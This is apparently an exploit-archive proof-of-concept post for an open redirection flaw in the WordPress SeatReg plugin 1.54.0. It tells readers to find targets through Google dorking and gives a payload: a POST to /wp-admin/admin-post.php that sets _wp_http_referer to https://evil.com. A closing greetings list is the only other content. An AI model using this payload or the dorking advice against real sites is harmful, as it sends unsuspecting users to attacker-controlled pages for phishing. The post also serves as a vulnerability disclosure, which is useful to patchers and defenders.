=============================================================================================================================================
| # Title     : WordPress SeatReg plugin 1.54.0 open redirection Vulnerability                                                              |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |
| # Vendor    : https://wordpress.org/plugins/seatreg/                                                                                      |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] An Open Redirection is a vulnerability when a web application or server
    uses an unvalidated user-submitted link to redirect the user to a given
    website or page.
[+] USe Payload : new-registration-name=dedeed&action=seatreg_create_submit&seatreg-admin-nonce=11b1308e8a&*_wp_http_referer=https://evil.com
[+] POST /wp-admin/admin-post.php HTTP/1.1
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================